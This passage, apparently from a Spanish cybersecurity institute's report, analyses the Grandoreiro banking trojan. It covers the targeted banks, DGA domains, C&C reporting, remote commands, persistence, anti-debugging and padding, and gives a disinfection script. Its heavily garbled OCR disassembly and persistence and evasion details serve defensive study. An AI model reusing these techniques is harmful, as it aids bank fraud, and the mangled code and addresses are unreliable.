> je BeDA42 41
mnov eax, BDASL7E
call BO4AER14
test eax,eax

> je BODAAZZE
call aepA312e

>BBDAYZ2ZE nov eax, BbAS 480

call BO4AEE1Y
test eax,eax

> je AADAAZ2 Y
call aepn312e

>08DALZ A lea edx, [ebp-168]

nov eax,dword ptr [ebx]
call TApplication.GetExeName
nov eax,dword ptr [ebp-166]

BDAS3DE <AnsiString> 'Bankia.es’

BDAS3IEC <{AnsiString> 'Bankia’

BDAS3IFC <AnsiString> 'BAMK1A®

BDASHBC <AnsiString> 'BLOQUERACESSOSTESPANHA®
BDASH2C <AnsiString> ‘Santander’

BDAS 448 <AnsiString> ‘Home Banking'

BDAS458 <AnsiString> 'BLOQUERACESSOCAIXA_LHK®
BOASH7E <AnsiString> 'CaixaBank’

BDASHBC <{AnsiString> 'Banca Digital’

BDAS4AY <AnsiString> 'BLOQUERACESSOBAHKINTER'
BDASHCY <AnsiString> *.°

BDASHDB <AnsiString> 'B28°’

BDASADC <AnsiString> 'BANKINTER®

BDAS4FB <AnsiString> ‘'BLOQUERACESSOUNICAJA®
BDAS518 <AnsiString> 'Unicaja’

BDAS528 <{AnsiString> 'Hazte cliente -°
BDAS538 <AnsiString> 'BLOQUERACESSOMEDIOLANUM'
BDAS558 <AnsiString> ‘Hediolanum®

Figura 23: Ejemplo de algunas de las palabras relacionas con los bancos a suplantar

Si encuentra alguna de ellas en los procesos en ejecucion, se prepara para la generacion
de los dominios dindmicos a consultar. Antes ejecuta el comando “ipconfig /flushdns” para
limpiar la caché DNS.

o | Deuio | L

og | [Netas | @ Ereakpoints | ™8 Mepadememoria | [J/Piadelamades | @sed | Lo scipt | @ simbolos | < Fuente | . References | tios | 57 Snowmen | o Rearsos | & Trace
serr g rExee
5 s

I « - ST W ~|[ocurtar Fru
. sBeC mov ebp, esp eax 00000000
835C 80000000 sub espiso Lo o 00080300 Lrore-File-ti-i-or
8850 oc Mo eb, duord per s :[ebp Cl ECX  oiizpesc Hediolanum
= o X 00000000
e Pheh a2t 6P 123r244
3367 Xor edi, edi Esp 1203E070
a7 Jnc edi ESI 01350804 dbghelp. 01350804
33rs xor_esi,esi | b1 0od00000
sipe test aby,ebx abx:L"ore-File-L1-1-0 3
R 0 o e1p  75:Facsi <kernel32.WinExecs
ea eax, dnord ptr ss: Eebp-
5 pucpens EFLAGs 00000344
7 push edi
T PSPPI SR I + 7 [por defecto etacan)
- - T [espra] 01325€88 “Tpcontig /FIushdns”
0i=0 2i [esprs] 00000000
3: [espec] 1203F24C
it [235110] 01325tAS dbghalp.01329EA
.texti753F2c91 kernelsz.d11:$92co1 #92c91 <winexecs Lespa1) —

01327D0F| volver a dbghelp.0132700F de_dbghelp-0098761C
0132988 "ipcenfig /Flushdns”
000,

@ vokado 1| Ui Vokado 2 | Ui Voaco 3 | ¥4 Volcado 4 | Uiivolcados | () Monitorizar 1 | irelLocaes | 7 Struct |
6 ASCIT

untero a seH Record [1]
01329849 doghelp.013258439
244,

70 €3 GF|GE €6 €5 67]20
00 3

2F 66 €C|75 73 68 4| Apcontig /T1ushd
72 €5 [ns..

01329EDS | 65 64 79 6E|61 6D 69 6364 6E 73 2E|6F 72 67 00| edynamicdn

- -0

5C | 0135080 4| doghelp. 01350804
0004030 | L"or e-File-L1-1-0"
000,

01329F48|FF FF FF FF|01 00 00 00|33 0D 00 0O|FF FF FF FF|y9¥...-3... yyyy
01329F35| 12 00 00 00|2E 73 65 72|76 65 68 51|C a8 6C a9, .er. Servehalfii
e sl

Figura 24: Limpia la cache DNS antes de generar los dominios dinamicos

Después, utilizando una base de 11 dominios predefinidos, genera los dominios dinamicos
finales segun el Algoritmo Generador de Dominios (DGA), tal y como se muestra en la
Figura 25.
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INSTITUTO NACIONAL DE CIBERSEGURIDAD
mou eax,dword ptr [ebp-10] BBDAYEDA <ARsiStringd '.freedynamicdns.org’
nov ea, 0OAYEFD Algoritmo Generador de Dominios (DGA). e L e
ca reny
> jne BUI)M’B&S BODAYF OC <ANSiS g) tat
- ~ ivsiddira BODAYF18 <Ang#String> ' .zapto.org'
> aoDasB10 Lea eox, Lebp-uetd 1.- Se le pasan 2 nimeros que dividira SO seTt st ha T
can Samanar A y convertira a hexadecimal. Co0aTFn ameitringy (g cuake-con’
ca
mov ecx,dword ptr [ebp-144C] “D:gﬁg iﬁ:iiﬁi:i:gi :‘..?Erlmnalflioie.cnm'
lea eax,[ebp-468 * . - /
nov Enx,EDR'n]SnE ! 1 de e”os' rangO. 1 80 BODAOFS L <RnsiStrP' 19> servecounterstrike.con®
call @Lstrcat3 515tring>
mov eax,dword ptr [ebp-468] i o 00DAYFBO <ANsiString>
lea edx, [ebp-464] 2.-letrasdela'a'ala'g 6ODAOFCE CANsiString>
call Lowercase BODASFD 4 <Rns}Str1ng>
lea eax,[ebp-1464] . L
noy edx, 6DAN 58 <— 3.- dominio dinamico
call @LStrcat
mou eax,dword ptr [ebp-i64]
lea edx, [ebp-10] & X
call 8eDA7c2c .gotdns.ch
>868DAYBGS xor eax,eax "18°
push ebp 00DAADSE <ANsiString> '.myftp._biz'
push BDAYE31 88DAABGE <AnsiString> '11°
push duword ptr fs:[eax] BODAAB7S <AnsiString> ‘b
= = 09DAAB3H CANsistrina> *12-

Figura 25: Zona de generacion de DGA

Por lo tanto, se generan de esta forma 80 dominios dinamicos distintos.

oo ~|[ocutzar Feu
e eAx  ooAcscH | "127.0.0.2%
0. E8x 0000000
€8 8R0esE fox  2esraes
X oirses  "0.0.0.0"
cree
EATLaaanE VZ 2 o €6°  12cAFESC
8845 EC CAF3D4
£ '2eac £ 50000000
5360 20r0rr @1 00000000
8050 Sarorrer |
BA ALDF edx:"0.0.0.0 EIP 01DFEDES dbghelp. 010F8DE9
& faient
8855 sarorrer
2srorerr o er 0 AR S
£2 0s05serr 2o o a0
8085 2arorrer
BA E49FDFO: edx 0", 1DF9FFs: .org CFO TFO IF1
& R
B LastError 00000002 (ERROR_FILE_NOT_FOUD)
5 2 LaStstatus Co00000F (STATUSNO SUCHLFILE)
£ oacererr
53050 00
5%
B0
BA FO9EDFOL
E8 AEBCESFF
= S sogReto, ioreocs
SDED 14FDFFFF fea ecx,dword per ss:febp

Figura 26: El proceso de generacién de dominios dinamicos

Una vez finalizado el proceso, obtiene el nombre del PC y descifra una de las cadenas que
necesita para informar al Command and Control. Estas cadenas se encuentran cifradas
dentro del binario.

o] owFoE7s €745 F4 00010000 |mov dword ptr ss:liebp-cl,100
. 045 F4 Tea caxdnord ptr ssifeop-Cl
. ) push e
. w85 esrereer Tea eax, dword per ssifeop-115]
. ush e:
. :s 67D765EF Bail Sup. acercompurernaness
. 95 BCFBFFFF Tea edx,dword ptr ss:febp-474] [ebp-4741: "98898EF519"
. %5 7600000 mov_eax, 17
. £8 03206EFF €&l dbghelp. 1408840
. 8895 BCFBEFEF mov edx,dword ptr ss:febp-a74] :"98898EF519" _
. Ry ity 1ea ecx,awurd ptr ss:febp-470] 1cdOlmn Pq
. eax, e: 3 ’
e 2 Bcesorr <am “dbdnelp. serrrec
. ssss sorseeer moy_eax, dword ptr ss:[fenp-470]
. £8 20061 e angnetp. 145A1c8
. 8200 mov edx, eax e
. A1 COOBE201 moy_eax,dnord ptr ds: [1E208€0]
. £ BDBOB2FF <l dbghelu 1624cA4
. 68 £8020000 pus
. E8 3769GEFF BT Sue.asie
. 8030 6OC3E101 01 cmp byte prr d ns [151(350] 1
e v 75 aF ine dbghelp.
. 095 sEFEFFER Yea Cox-awora per-2s:[eop-a7sl
. 88 £4A3DF01 mov_eax, dbghelp. IDFAZES 1DFA384:"192.168.0.57"
. E8 72FFGSFF £all_doghelp. 145985C
. 8595 BEFEFFEF mov edx,dnord ptr ss:lebp-47&]
o 010F 9570 88 BCOCEZ01 mov_eax; dbghelp. 16 20C5C
=

Figura 27: Comienzo de obtencion de datos del equipo afectado

Cada pais tiene asociado un identificador (7236), cuando detecta que se esta visitando
alguno de ellos le asocia su valor correspondiente para informar de ello.
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s$incibe_ %Incibe

INSTITUTO NACIONAL DE CIBERSEGURIDAD O CEI":_
- EULRI LD puan can T
1BBDAIEEE call GetComputeriameA
1@BDA9BBD lea edx, [ebpt+var_474]
1 @BDASEBS3 mov eax, 17h
1BBDADBIE call Get_ID String_A_Descifrar
1 BBDADBOD mov edx, [ebptvar_474]
1BE0ATBAS lea ecx, [ebptvar_47@]
1 @BDASEBAS wor eax, eax
1 BEDAIBAE call Decifrar] string
1@BDADBEE mowv eax, [ebptvar_478] ; System::AnsiString
1 BBDASBBE call StrTolnt
:BEDASEEE mov edx, eax
1 @a0A9BBD mov eax, ds:dword DDBBCE
1BBDAIBC2 call TRtcPortalCli_SetDataEncrypt
1BBDAIBCT push 3E8h 3 dwMilliseconds
1@BDASBCC call Sleep @

Figura 28: Proceso de obtencion del nombre del PC

En la Figura 29 se presenta un ejemplo de los datos que seran enviados. Se ha ofuscado
el nombre del equipo afectado.

dbgnelp. 01038FEC
“(€S) (CeTxapenk) (0 Woras) (windows 7) ((ERIC)2801)

dogne1p. 01DFSOFD.

oF o
1

00000002 (SRROR_FILE_NOT_FOUND)
C00000F _(STATUS M) SICH_FTLEY

CAF 304
01DFIE31 dbghelp. OIOFIEIL
12CAF8C
12cAFsas

: lespei0) o1DFazas dagnelo. oo seas

Figura 29: Datos recopilados para ser enviados

Esta comunicacion se realiza con el componente RTC citado anteriormente.

CODE : @8DAASB3 mov esi, eax

CODE : 28DAASES mov ebx, offset dword _DDBBC@ ; TRtcHttpPortalClient
CODE : @8DAASBA mov edi, offseﬂ unk_DD@BF4 ; TListBox
CODE : @@DAASBEF wor eax, eax

CODE:@@DAAS1L1 push ebp

CODE: 2aD0AAS12 push offset loc_DAATBL

CODE:8@DAAS1T push dword ptr fs:[eax]

CODE : 22DAAS1A mov fsi[eax], esp

CODE : 88DAAS1D xor eax, eax

CODE : @BDAASLF push ebp

CODE: 2@DAAS2E push offset loc_DAATBC

CODE : 2BDAAS2S push dword ptr fs:[eax]

CODE:2@DAAS2E mov fs:[eax], esp

CODE : @@DAAS2E xor eCx, ecx

CODE : @@DAASZD mov dl, 1

CODE : @@DAAS 2F mov eax, off_CESFA® ; this

CODE: B@DAAS34 call TRtcHttpPortalClient Create

CODE : @8DAAS33 mov [ebx], eax

Figura 30: Uso del componente RTC HTTP para comunicacion con el Command and Control

Otras de las funcionalidades principales de este troyano son las siguientes:

® Dispone de capacidad para actualizar la dll maliciosa. Para ello, se utiliza la palabra
UpdateDLLMODULO. Este proceso descargaria un fichero zip con el mismo nombre
que la dll, lo descomprime después y detiene el proceso para arrancarlo
posteriormente. Para poderlo realizar se crea un fichero bat llamado cookie.bat y se le
afiade las acciones que se han comentado.
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INSTITUTO NACIONAL DE CIBERSEGURIDAD

1BBDB1DEC call LstrToPChar

1@8DB1DFL mov edx, offset aUpdatedllmodul ; "UpdateDLLMODULO"
:B80B1DF6 call StrPos

:BB0E1DFB test eax, eax

1 @BDB1DFD jz loc_DB1EE3

:BBDB1EB3 mov dl, 7¢h ; |’ ; char

:@BDB1EBS mov eax, ds:dword_DDeCac ; int

:BBDB1EAA call Tstringlist_Create

1@BDBLEGF lea ecx, [ebpt+var_7BE]

:BEDB1E1S mowv edx, 1

1BEDB1ELA mov ebx, [eax]

1@B0BLELC call dword ptr [ebx+@Ch]

:BBDE1ELF mov eax, [ebp+var_7B38] ; System::AnsiString
tBBDB1E2S lea edx, [ebptvar_8]

1BBDB1E25 call Trim

1@eDBlE2D call call Lstrilr

:@BDB1E32 push 2] ; LPBINDSTATUSCALLBACK
:BBDB1E34 push <] ; DWORD

:@BDB1E36 lea edx, [ebpt+var_7BC]

:BBDB1E3C mov eax, offset _str_APPDATA.Text ; System::AnsiString
1@EDB1E4L call GetEnvirenmentVariable

:@BDB1E46 lea eax, [ebp+var_7BC] ; int

1@B0BLE4C mov edx, offset _str_ dbghelp_zip.Text ; void *
:@BDB1ESL call Lstriat

:BBDB1ESE mov eax, [ebpt+var_78BC]

1BBDB1ESC call LstrToPChar

:@BDB1ERL push eax ; LPCSTR

:BBDB1EG2 mov eax, [ebptvar_8]

:BBDB1EGS call LstrToPChar

1@BDB1EGA push eax ; LPCSTR

:B8BDB1EGE push 2] 3 LPUNKNGOWN

:BBDB1EGD call URLDownloadToFileA

1@BDB1E72 lea edx, [ebptvar_7Ca]

1@BDEL1E7S mov eax, offset _str_APPDATA.Text ; System::AnsiString
:BB0DB1ETD call GetEnviroenmentVariable

:@BDB1ES2 mov eax, [ebp+var_7Ca]
:@BDB1ESE push eax
:BBDE1ESD lea edx, [ebp+var_7C3]
:@BDBLESF mov eax, offset _str APPDATA.Text ; System::AnsiString
:BEDE1E94 call GetEnvironmentVariable
1@BDBLE9Y lea eax, [ebp+var_7C8] ; int
:BBDB1ESF mov edx, offset _str_ dbghelp_zip.Text ; wveid *
:BBDE1EAL call Lstriat
o S —

Figura 31: Actualizacion de la DLL

B Tiene capacidad de desconectar a la victima, con el codigo SUSPENDEACESSO, de
reiniciar la maquina, codigo REINICIAGERAL, o reiniciar el propio troyano, codigo
ReinlclaSystem.

1 BEDAF99A 3 _TALONH1 Timer2Timer+19861]
1 BBDAFI9A mov eax, ds:dword_DDBCIC

1 BBDAFISF call LstrTePChar

1 BBDAFOAL mov edx, offset aSuspendeacesso ; "SUSPENDEACESSD”
1 BBDAFIAS call strPos

T BEDAF9AE test eax, eax

1 BBDAFIBR jz short loc_DAF9D2

1 BBDAFIB2 call call LstrClr

1 BEDAF9EBT xor edx, edx

1 BEDAFOEBS mov eax, ds:dword_DDBBCE@

: BBDAFIBE mov ecx, [eax]

Figura 32: Comando para desconectar a la victima

:@B0B1645 mov eax, ds:dword_DDeCcoc

1 BB0DB16E4A call LStrToPChar

: 8BDB1BAF mov edx, oflfset aReiniciageral ; "REINICIAGERAL"
:BBDB1654 call StrPos

1@BBDELAS9 test eax, eax

:@BDB165B jz short loc_DB1&6C

:@B0B165D call call_LstrClr

:BBDE1E62 mov eax, 2 3 uFlags

:@BDB1667 call call ExitWlindowsEx

Figura 33: Proceso de reinicio de la maquina
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INSTITUTO NACIONAL DE CIBERSEGURIDAD

s vousCooD tars Lo iurLnar
:BBDAERL3 mov edx, offset aReinlclasystem ; "ReinlclaSystem”
1BBDAEGLE call StrPos

:BEDAERLD test eax, eax

:BADAEGLF jz short loc_DAE@G4

1BBDAEB21 call call LStrClr

:BODAEG2E push 1 ; nShowCmd

:BADAEAZE push e ; lpDirectory

1 BBDAEB2A push ] ; lpParameters

1BBDAEB2C lea edx, [ebptvar_ 18]

:BBDAEG2F mov eax, ds:off_DCCDA4

:BADAEA3L moy eax, [eax]

:BBDAEG3E call ThApplication_GetExeName ; BDS 2885-2807 and Delphi6-7 Visual Component Library
:BADAEGIE mov eax, [ebptvar_18]

:BADAEG3E call LStrToPChar

1BBDAEB43 push eax ; lprile

:BBDAEG4L push ] ; lpOperation

:BADAERG mov eax, ebhx ; this

:BBDAEB48 call TWinControl GetHandle

:BODAEGAD push eax 3 hwnd

:BADAEB4E call ShellExecuted

:BADAEBS3 mov eax, ds:off DCCDA4

Figura 34: Zona de envio de comando de reinicio del troyano

® Dispone de capacidad para obtener informacién del cursor (cédigo EXIBIRMZ).

:B@DB1667 call  call_ExitWindowsEx R
1BODB166C 1BO4AFBCO call_SystemParametersInfoA proc near ; CODE XREF: _TALONH1 Timer:
:8@DB166C loc_DB166C: ; CODE XREF: _TALONH1_Timer2Timer+369Ftj :B@AAFBCE 5 _TALONH1_Timer2Timer+421Dy
:18@DB166C mov eax, ds:dword_DDECIC {BRAAFBCE push 18h ; TWinIni
:BADE1671 call LStrTePChar BBAAFECZ push & ; pvParam
:B@DBL676 mov edx, offset aExibirmz ; "EXISIRMZ” BRAAFBCA push @ s uiParam
:B@DB1678 call  SirPos 1BBAAFECE push  57h ; "W’ 3 uiAction
:80DB1688 test eax, eax 1BOAAFBCE call SystemParametersInfos
:8eDB1682 jz short loc_DB168E :AAAAFRCTY retn
:BBDE1684 call call _LStrClr .
PODB1689 call call_systemParametersInfos SPI_SETCURSORS Reloads the system cursors. Set the uiParam parameter to zero and the
:80DB168E pvParam parameter to NULL.
:@@DB168E loc DB163E: ; CODE XREF: " . _ . . ____
==
Figura 35: Consulta informacion del cursor
. L -
® Y de controlar el cursor del usuario (codigo OCULTARMZ).

TOUDLDEE LOC_UDLDSE: 3 WUUE AKEF: _IALUNAL_ | IMErs|1mer+s

:@@DB165E maov eax, ds:dword DDECIC

1@BDEL1GE93 call LStrToPChar

:@BDB1698 mow edx, offset aOcultarmz ; "OCULTARMZ"

1@BDEL1EOD call StrPos

1@aDBE16AZ test eax, eax

:@ADE16A4 jz short loc_DB16E@

:@BDB1GAG call call LStrClr

:@BDE1GAB call sub_4AFBD®

-m\l:n (==1~%

Figura 36: Comando para controlar el cursor

® Puede crear un fichero a modo de registro, con el codigo CRIARCADASTRO, llamado
UPAK.BIN.

:@eDB1D91 call L5trToPChar

1BB0BL09G mov edx, offset aCriarcadastro ; "CRIARCADASTRO"
:@BDBLD9B call strPos

:@2DB1DAG test eax, eax

:@B0B1DAZ jz short loc_DBIDE7

1@B0B1DA4 call call_LStrClr

1@80B1DAY lea edx, [ebptvar_784]

+@BDBLDAF mov eax, ds:off_DCCDA4

:BB0E1DB4 mov eax, [eax]

:@BDB1DBE call TApplication_GetExeName ; BDS 28@5-28@7 and Delphi6-7 Visual Component Library
:@ADB10BE mov eax, [ebp+var_7B4] ; System::AnsiString
:@A0B1DCL lea edx, [ebp+var_788]

:@@DB1DCT7 call ExtractFileDir

1BB0BLDCC lea eax, [ebptvar_78@8] ; int

:88DB1DD2 mov edx, offset _str_ UPAK BIN.Text ; woid *
:@80B1DD7 call Lstriat

:OODBLDDC mov eax, ebp+var 788]

Figura 37: Crear fichero UPAK.BIN

® Tiene la capacidad de crear un registro de la actividad, con el codigo MARCARPC, en
un log llamado Iz.log.
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INSTITUTO NACIONAL DE CIBERSEGURIDAD

cwwLsULLL Lass Lo iuruia

:@BDBLEED mov edx, offset aMarcarpc ; "MARCARPC”
1@BBDBLEF2 call strPos

:B8DBLEFT test eax, eax

1 BBDB1EF9 jz loc_DB1FB2

:BADBLEFF mov dl, 1

:@BDE1FGL mov eax, off_41E258

:BBDE1FO6 call TObject_Create_TString_List ; BDS 20@5-2887 and Delphig
:BBDE1FOE mov esi, eax

1BBDE1FED mov eax, esi

1 @BDB1FeF mov edx, [eax]

:@BDE1F1L call dword ptr [edx+4sh]

:00DB1F14 mov dl, 7ch ; '|" ; char

1BBDE1F16 mov eax, ds:dword_DDeCoc ; int

:@8DB1F1B call TStringlist Create

1@eDE1F208 lea ecx, [ebp+var_7De]

1BBDELF26 mov edx, 1

1 BBDB1F2E mov ebx, [eax]

:@BDE1F2D call dword ptr [ebx+8Ch]

:@BDB1F3e mov eax, [ebpt+var_7De]

:@BDELF36 call LstrToPChar

:B@DB1F3B mov edx, eax

1 @BDE1F3D lea eax, [ebp+var_7CC]

1BB0B1F43 call LstrFromPChar  ; BDS 2885-2087 and Delphis-7 Visual Co
1 BBDE1F45 mov edx, [ebp+var_7CC]

1BBDB1FAE mov eax, esi

1 BBDE1F58 mov ecx, [eax]

1@BDE1F52 call dword ptr [ecx+38h]

1 @BDB1F55 lea edx, [ebpt+var_7DC]

:@BDBLFSE mov eax, ds:off _DCCDA4

1BBDE1FGR mov eax, [eax]

1@BDE1F62 call TApplication_GetExeName ; BDS 28@5-2807 and Delphi6-7
1@@DB1F6T mov eax, [ebptvar_7DC] ; System::AnsiString
1 @BDE1F6ED lea edx, [ebp+var_7D8]

:BBDBLF73 call ExtractFileDir

1BBDELF7E lea eax, [ebp+var_7D8] ; int

:@BDB1F7E mov edx, offset _str_ 1z log @.Text ; void *
:@@DB1FE3 call Lstriat

Figura 38: Crear el log para registrar la actividad

B Puede eliminar con el cédigo DEL3TARMARCOAO el fichero Iz.log, a modo de log
mencionado anteriormente, en la misma ruta del ejecutable.

Lo oD oy CaA, U3 .UWUL UL Iy
1 @BDAFECE call LstrToPChar

1 @BDAFED3 mov edx, offset aDel3tarmarc@ac ; "DELITARMARCSAO"

: BBDAFEDE call 5trPos

1 BBDAFSDD test eax, eax

: @BDAFSDF jz loc_DAF99A

: @BDAFBES call call LstrClr

:BBDAFBEA lea edx, [ebp+var_38C)

:@BDAFEFE mov eax, ds:off DCCDA4

1 @BDAFEFS mov eax, [eax]

 @BDAFEFT call TApplication GetExeName ; BDS 28@5-2087 and Delphi6-7 Visual Com|

Figura 39: Elimina el fichero de log

B Permite buscar en los procesos de la memoria con el cédigo DETONARPROCESO.

1@BDB1FB2 mov eax, ds:dword_DDECSC

:@@DB1FET7 call LstrToPChar

:@BDB1FBC mov edx, offset aDetonaprocesso ; "DETONAPROCESSD"
:@8BDB1FCL call strPos

1 @BDB1FCE test eax, eax

:BBDB1FCE jz short loc_DB2843

:8BDE1FCA mov dl, 7¢ch ; |’ ; char

:@BDB1FCC mov eax, ds:dword_DDBCIC ; int

1@BDE1FDL call Tstringlist_Create

:BBDB1FDE lea ecx, [ebp+var 7E4]

:@BDB1FDC mov edx, 1

:@BDB1FEL mov ebx, [eax]

1@BDB1FE3 call dword ptr [ebx+eCh]

:BBDB1FEG mov eax, [ebp+var_7E4] ; System::AnsiString
1@BDB1FEC lea edx, [ebp+var_7E@]

SAANRIEEY all Trim

Figura 40: Busca en los procesos en memoria

m Tiene la capacidad de realizar capturas de pantalla, con los codigos
ATIVARCAPTURAMAG y ATIVARCAPTURAFULL. La diferencia esta en como realiza
esta accion: si los sistemas operativos son Windows 10, 8.1 y Server, entonces hace
uso de la DLL MAG “Magnification”, en caso contrario utiliza la opcion FULL.
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1 BRDB2@6C call LstrToPChar

:86DB2671 mov edx, offset aAtivarcapturam ; "ATIVARCAPTURAMAG"
:BBDE2876 call StrPos

:@eDe2878 test eax, eax

1BeDE287D jz loc_DB211F

1800620833 call call LstrClr

180062035 lea edx, [ebp+var_7F@]

1 BRDB2@3E mov eax, ds:Ansistring ; System::Ansistring
18062893 call Trim

:@0DE2898 mowv eax, [ebptvar_7F@]

:@8DB289E call L5trToPChar

:BBDB28A3 mov edx, offset aWindows8_2 ; "Windows 8"
1B0DB20AS call StrPos

1 B@DE28AD test eax, eax

1 BBDB2BAF jnz short loc_DB21@3

:@0DB28B1 lea edx, [ebp+var_7F4]

:BRDE28B7 mov eax, ds:AnsisString ; System::AnsiString
:@BDB28BC call Trim

:BBDE28C1 mov eax, [ebp+var_7F4]

10062807 call L5trToPChar

:BaDB28CC mov edx, offset aWindowsl®_ 2 ; "Windows 18"
188062801 call StrPos

1 @8@DE2806 test eax, eax

1 Be0B2803 jnz short loc_DB21@3

:@0DB28DA lea edx, [ebp+var_7F&]

:BBDE2BER mov eax, ds:AnsiString ; System::AnsiString
:@8DB20BES call Trim

:BBDE2BEA mov eax, [ebp+var_7F8]

:@eDB208FR call L5trToPChar

:BBDB2BF5 mov edx, offset aWindowsServer_1 ; "Windows Server”
:@BDB2BFA call StrPos

1 B@DB28FF test eax, eax

1@eDB2181 jz short loc_DB211F

:BebB21@3

Figura 41: Proceso de preparacion de datos para enviar

B Puede desactivar la barra de desplazamiento con el cédigo DISABLESCROOL.

1 @B0E299C mov eax, ds:dword_DDBCOC

:8BDE29A1 call LstrTePChar

:BBDB29AG mov edx, offset aDisablescrool ; "DISAELESCROOL"
:BADB29AB call 5trPos

1 @8DB29B8 test eax, eax

1@80E29E2 jz short loc_DB29BE

:380E29E4 call call L5trClr

:@8DB29B9 call call_UnhookWindowsHookEx

1 BBDEZ29BE

Figura 42: Desactiva desplazamiento

B Realiza tanto un borrado de todo el directorio donde se ubica el troyano, con el cédigo
DELETEAKL, como la clave de registro, como si hunca hubiese existido.
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1@8DB29CS mov edx, offset aDeletakl ; "DELETAKL"
:@8DBE29CD call strPos
:@8DB29D2 test  fax, eax
:@80B2904 jz short loc_DB2A2E
:@@DB29D6 call call_LStrClr
:@8DB29DB xor eax, eax
:8aDB290D push ebp
:@8DB29DE push offset loc_DB29FD
1@BDE29ES push dword ptr fs:[eax]
:@BDB29EG mov fs:[eax], esp
:@BDB29ES mov eax, ds:dword_DD@BEe
:@BDB29EE call borrar_persistencia_registro
:@8DB29F3 xor eax, eax
1@8DB29FS pop edx
1 @BDBE29F6 pop ecx
:@BDE29F7 pop ecx
1@BDB29F3 mov fs:[eax], edx
:@8DB29FB jmp short loc_DB2AB7
B L L I e
+@B80B29FD
:@8DB29FD loc_DB29FD:
— 1@eDB29FD
188062482 ;
:@BDE2AB2 call DoneExcept
1 @8DE2ABT
:@80B2AB7 loc_DB2AABT: ; CODE XREF: _TALONH1_ Timer2Timer+4A3FT]
:@8DB2AGT xor eax, eax
1 @BDE2489 push ebp
:@eDB2ABA push offset loc DB2A24
1 @8DE2AGF push dword ptr fs:[eax]
:@80B2A12 mov fs:[eax], esp
:@8DB2A1S call borrade_directorio_mm_bat

Figura 43: Auto eliminacién

Por lo tanto, es posible manipular las ventanas abiertas por el usuario, capturar pulsaciones
de teclado y simular acciones del mismo y del raton. A la vez que controlar la navegacion
del usuario o bloquear el acceso a los sitios web elegidos por el atacante.

Se asegura la persistencia creando un acceso directo hacia él en la clave de registro
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Uvnerjnx (esta clave puede
variar segun la muestra), apuntando a
C:\users\<usuario>\appdata\roaming\nowview\solodriver.exe (al igual que el nombre del
ejecutable y su ruta, puede ser diferente en otras muestras).

g miem et omm apmmen e S, e e gamny et e 3= 4 —p ot 3t in e
Q HKCLASOFTWARE \Microsoft \Windows\Current Version\Run

& Uvnernx Advanced Installer Intune Tool Caphyon LTD clusers' =\appdata‘roaming\nowview\solodriver exs
== 1. i . (x}

[ n.

Figura 44: Ejemplos de ficheros cifrados en red

call BEL3trAsg

moy eax, BDDBBE @

now edx ., BDAADER

call BLitrAsg

mow eax,dword ptr [ebp-%4]
call ABDAAB3E

Figura 45: Nombre de la clave de registro
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call @LSErC1r

push HAF75C

push dword ptr [ebp-0C]
push HAF79Y4

lea eax,[ebp-18]

moy edx,3

call ELStrcatH

XOr BCX,eCK

mowv dl,1

mou eax,[43F1ER]

call TRegIniFile.Create

mou dword ptr [ebp-18],eax
XOr eax,eax

push ebp

push LAF726

push dword ptr fs:[eax]

moy duord ptr fs:[eax],esp
mou edx 80000081

moy eax,dword ptr [ebp-18]
call TRegistry.SetRootKey
moy eax,dword ptr [ebp-8]
push eax

moy ecx,dword ptr [ebp-14]
moy edx,dword ptr [ebp-10]
moy eax,dword ptr [ebp-18]
call TRegIniFile.WriteString
X0r eax,eax

Figura 46: Zona de escritura de clave de registro para persistencia

De este modo, cada vez que se reinicie el equipo, el troyano sera ejecutado y podra
continuar recolectando y utilizando informacién que pueda necesitar para comunicarse con
el C&C.

4.3. Métodos de proteccidn del troyano

El troyano trata de protegerse de software destinado a evitar este tipo de amenazas muy
utilizado en Latinoamérica, como son IBM Trusteer y Warsaw Diebold.

(IBM
(IBM

Figura 47: Software que busca en el equipo afectado

Una medida estandar que multitud de troyanos utilizan es saber si estan siendo depurados,
gracias a la APl de Windows IsDebuggerPresent.

call StrPos

test eax,eax
> je BBDB3ECD
mouv eax,B8DDBCDS
mov edx, BDB3FDC
call ELEErAsg
>BBDB3ECD call kernel3? _IsDebuggerPresent
test al,al
> je BBDB3EES
mov eax,B8D0DBCDS
mov edx,BDE3FDC
call BELStrAsg
>BBDB3EES and bl,3F
®Xor eax,eax

Figura 48: Comprobacion de depuracion con IsDebuggerPresent

La técnica de ofuscacion de binarios maliciosos con el fin de pasar desapercibidos
empleada por Grandoreiro, que trata de engrosar el binario para evitar que plataformas de
analisis de malware online puedan analizarlo, debido a una limitacién del tamafio de envio,
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se conoce como binary padding. Su relleno se realiza con imagenes grandes sin un
propésito distinto que hacer el binario de un tamafio considerable dificultando el andlisis.

El uso de aplicaciones legitimas y firmadas cargando la dll con un nombre legitimo y
existente en el sistema operativo, pero en el mismo directorio que el ejecutable (el primero
en la ruta de carga de dll), que hace que se cargue antes que la esperada, hace que la
deteccion sea mas dificultosa.
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5. Deteccion y desinfeccion

5.1. Métodos de deteccidon y desinfeccion

Existen multitud de antivirus que detectan la amenaza, por lo que seria conveniente
disponer de uno actualizado, asi como herramientas antispam.

En los casos en los que el primer contacto es un documento ofimético de Microsoft Office,
desactivar la ejecucion automatica de macros, y, sobre todo, desconfiar de remitentes
desconocidos y no instalar archivos de fuentes no fiables

Para su desinfeccion, es necesario borrar la clave de registro asociada a la persistencia.
En el caso de la muestra analizada, la clave de registro es Uvnerjnx, sin embargo, no
siempre es el mismo nombre, puede variar. Ademas de detener el ejecutable que utiliza la
dil ya que de intentarlo sin haber realizado esta accién podria fallar, ya que la dll del troyano
estaria en uso. Por lo tanto, el siguiente script es valido cuando coincide la clave de registro,
ruta y nombre del ejecutable. Para otros casos sera necesario cambiar estos valores por
los adecuados.

Clave="Uvnerjnx”
Ejecutable="solodriver.exe”
Directorio="nowview”

reg delete
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
%Clave% /f

taskkill /f /im %Ejecutable’%

del /F %APPDATA%\%Directorio%\*.exe
del /F %APPDATA%\%Directorio%\*.d1l1l
rmdir /s /q %APPDATA%\%Directorio?%

Tabla 1: Script .bat destinado a borrar el troyano y sus componentes

5.2. Recomendaciones

Para evitar la infeccion con el malware Grandoreiro es recomendable aplicar las siguientes
medidas:

® Ignorar los correos electronicos irrelevantes y los que se envian desde una direccion
desconocida o contienen un archivo adjunto (o un enlace a un sitio web) y no abrir los
archivos o enlaces web que se presentan en estos correos sin tener claro de que es
seguro hacerlo.

® Descargar software solamente de los sitios web oficiales y a través de los enlaces de
